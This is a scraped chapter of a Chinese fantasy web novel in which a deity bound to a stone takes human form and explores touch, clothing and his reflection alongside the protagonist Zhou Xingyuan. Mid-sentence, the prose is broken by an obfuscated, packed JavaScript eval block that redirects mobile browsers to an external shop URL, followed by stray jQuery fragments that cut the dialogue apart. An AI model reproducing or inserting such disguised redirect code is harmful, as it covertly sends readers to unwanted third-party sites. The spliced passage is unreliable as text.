文趣网 > 都市小说 > 这个恶人有点神 > 47. 人形
    联络处挂牌之后的第十天,京城下了一场小雨。

    雨不大,落在通州运河的水面上溅起细密的波纹。方秀在账房里核对粮商联名供应的第一批常供粮草清单,乌图在隔壁屋里抄写文书,程愈回了都察院整理徐昌案最后的存档卷宗。周行远一个人坐在议事厅里,面前摊着北境防务的新规划图,手里握着那颗石子。石子今天的光泽比平时暗了一点,温度也低了几分,握在手心里只是微微温着。

    他把石子在掌心里翻了个面,开口问道:“你这几天话比平时少,光泽也比之前暗了,是在省力气,还是在想别的事。”

    君临沉默了一会儿,然后回答了,声音还是那样平稳,但字与字之间的间隔比平时更短,语速微快。他说他在计算一件事,从蓟州祭坛建成之后就在算,到联络处挂牌那天算完了。他发现当信徒的数量超过一个临界值之后,他能做到一些以前做不到的事,比如同时感知整个北境沿线所有驻军的心跳,比如精准到单根弩机机括的力度控制。还比如,凝聚一个能被肉眼看到的人形。以前他的力量不够,只能通过石子传递声音和温度。现在力量够了,他算了很久,确认不会影响感知范围和弩机卡壳的精准度,想试一下凝聚人形需要消耗多少力量。

    “人形。”周行远重复了一遍这两个字,把石子放在桌上,身体微微前倾,“你能化成人形了?”

    “不确定,理论上力量够了,但从来没有试过。凝聚人形和感知心跳不一样,感知是被动的,凝聚是主动的,需要把力量集中在极小的空间里,密度比感知大很多倍。可能会失败,可能会消耗过度导致暂时沉寂,也可能成功。三种结果的概率分别是四成、三成、三成。”

    “你想试吗。”

    “想,但不是因为好奇,我想更靠近你。石子里的声音只有你能听到,人形的话,别人也能看到。我可以站在你旁边,不用躲在怀里。”

    周行远把手从石子上拿开,站起来把议事厅的门从里面闩上,窗户也关了。屋里只剩下桌上的油灯和石子本身的光,淡金色的暖光在关紧门窗的议事厅里显得格外亮。他重新坐下来,说了两个字:“你试。”

    君临没有再说话,石子开始发烫,从手心温度升到滚水温度只用了几拍心跳的工夫。石子上的纹路开始发光,每一条纹路都亮了起来,从边缘往中心流动,纹路里流动的淡金色光液极细极亮。议事厅里的空气开始变重。

    石子上方的空间忽然扭曲了一下,不是模糊,是光线被某种看不见的东西折弯了,形成一个大约一人高的透明轮廓,轮廓边缘有极淡的金色光晕,内部是空的。然后轮廓开始被填充,从中心往外一点一点地凝实。先是骨骼的框架,然后是血管和肌肉,最后是皮肤。整个过程持续了大约一炷香的时间,空气里的压力忽然消失了,石子上方站着一个人。

    一个成年男人,身高和周行远差不多,赤着脚站在议事厅的青石地板上。皮肤是暖白色的,头发极黑极长,垂到腰际,发尾在油灯光下泛着极淡的金色光泽。五官轮廓很深,眉骨高,鼻梁挺直,嘴唇抿成一条很淡的线。他睁开眼睛,眼睛是极淡的金色,瞳孔里能隐约看到和石子背面一样的细密纹路,还在缓缓流动。他低头看了看自己的手,手指修长,指甲是健康的淡粉色,他又抬了抬脚,脚趾在青石板上蜷了一下,脚底传来地板的凉意。

    “脚底凉,以前感觉凉是通过你的心跳节奏推出来的,现在是我自己的脚底直接感觉到了凉。”

    周行远从椅子上站起来,走到君临面前。他伸出手,手指触到君临的肩膀,皮肤是温的,比石子平时的温度稍低一点,和活人的体温几乎一样。君临在周行远的手指碰到他肩膀时微微偏了一下头,低头看着那只手。

    “你的手比石子上感觉的粗糙,老茧的位置和厚度跟程愈不一样。他是握笔磨的,你是握刀磨的。”君临抬起自己的手,把自己的手指放在周行远的手背上,沿着虎口的茧子摸了一遍,又翻过来看周行远掌心的纹路,“掌纹和你心跳的节奏对得上,生命线在这里断过,从神殿那天开始。我认得这些纹路,我的石子上也有,你的每一条纹路,我的石子上都对应一道。”

    周行远没有抽回手,他低头看着君临的手指沿着自己掌心的纹路慢慢划过,指尖的温度比掌心微凉,但触感很轻很准,每一道纹路都摸得很认真。这个神第一次有了自己的手指,做的第一件事不是摸自己的脸,不是摸周围的物件,而是摸他手上的茧子和掌纹。他从怀里掏出匕首,把刀刃那一面朝向自己,刀柄递给君临。

    “握一下,看看你的手能不能握刀。”

    君临接过刀柄,手指收拢。握刀的姿势很标准,和北境老兵握刀的方式一模一样。他在石子感知过无数次周行远握刀的肌肉发力节奏,第一次上手就复制出了标准动作。他又把匕首在自己手指间转了一圈,刀刃在指缝里翻转时发出极轻微的破空声。

    “刀柄上有你的汗渍,咸的,我能尝到。匕首的重心在前面三分之一处,比北境哨站配发的弯刀重心更靠前。你用这把匕首的时候,手腕会偏内旋一点,适应重心的偏移。”

    周行远沉默了短暂的一瞬,然后他开口问道:“你现在能用多少力量,能维持多久,会消耗多少。”

    君临把匕首还给周行远,低头看了一下自己的身体。他说凝聚人形消耗的力量比他预估的更大,但维持人形消耗的力量比他预估的更小。凝聚好比挖井,维持好比从井里舀水,挖井需要一次性投入大量力量,舀水只需要持续消耗很少的量。按目前的力量储备,可以维持人形大约四个时辰,之后需要回到石子里恢复。如果力量继续增长,维持时间会逐渐延长,以后也许不需要回到石子里也能长期保持人形。

    “化成人形之后,你的力量比之前在石子里强了还是弱了。”

    “感知范围没有变,但精准度提高了,之前在石子里控制弩机卡壳需要集中注意力去想象弩机的位置,现在有了手指,可以直接模拟扣动悬刀的动作。有身体比没有身体更好操作

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717775|208550||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”君临说完之后,低头看着自己的脚趾在青石板上无意识地蜷了一下,嘴角动了动,有点不确定地说,“这是高兴,有脚趾之后,高兴的时候脚趾会动,你以前教我高兴的时候没说过脚趾会动。”

    “我也是刚知道。”周行远看着他的脚趾,嘴角极轻微地动了一下,然后转身走到门边,把门闩拉开。他让君临在屋里等他,他去拿衣服。君临赤着脚站在青石板上,低头看了看自己光裸的身体,又看了看周行远的背影,开口时语气还是那样平稳汇报的调子,但内容让周行远停了一下脚步。

    “你刚才看到我身体的时候,心跳变快了一点。不是紧张,是另一种快,和太子第一次到骡马市时你的心跳节奏一样。那次你说是因为太子来得太突然,这次我不突然,你提前知道我会化人形,为什么心跳还是快。”

    周行远没有回头,他说是因为没见过神化人形,任何人在那种情况下心跳都会快。说完他继续往外走,走了几步又停下来,终于回过头来。

    “你在石子里的时候,每次我说什么你都能听到我的心跳。现在你在我面前,也能听到吗。”

    “能,离得更近,听得更清楚。你刚才说回去拿衣服的时候,心跳又重了。不是紧张,不是兴奋,是底下那层。以前你只在睡着的时候那层才浮上来,最近经常浮。从我化出人形那一刻起,你的心跳底下那层就一直在浮着。”

    周行远没有回答,他转身走出去,从自己屋里拿了一套干净的常服和一双布靴。回到议事厅时君临还站在原来的位置,赤着脚,长发垂腰,淡金色的眼睛安静地看着门口的方向。周行远把衣服放在桌上,教他一件一件穿。中衣先系左衽再系右衽,腰带从前绕到后交叉再绕回来打结,布靴的鞋带从下往上交叉穿。君临每穿一步都会低头用手指认真摸一遍衣料的纹理,然后抬头说一句触感怎样、厚度如何。穿完之后他低头看了看自己,说衣服上有周行远身上的味道,是皂角加雪水加铁锈的混合气味,他在石子里闻了很多年,今天第一次用自己的鼻子闻到。

    周行远把他推到议事厅角落那面旧铜镜前面,铜镜表面被方秀擦过了,虽然边缘还有些铜锈,但镜面已经能照出清晰的人影。君临站在铜镜前,看着镜子里那个黑发淡金眼瞳的年轻男人,看了很久。然后他抬起手,铜镜里的也抬起手,他侧过脸,铜镜里的也侧过脸,他眨了一下眼睛,铜镜里的也眨了一下眼睛。

    “这是我的脸,这是我的手,这是我的头发,这是铜镜里的我。我以前知道自己的存在,但不知道自己的样子。现在知道了,你觉得我的长相怎么样。”

    “不难看。”周行远靠在桌边看着他。

    “不难看是什么意思,是满意还是不满意。”

    “是还行,你对自己的长相有什么评价。”

    君临又盯着铜镜看了一会儿,然后转过头很认真地回答:“我觉得我长得比你好看,但好看这个词也是你教的,你教我的时候说好看就是看着舒服,你看着舒服吗。”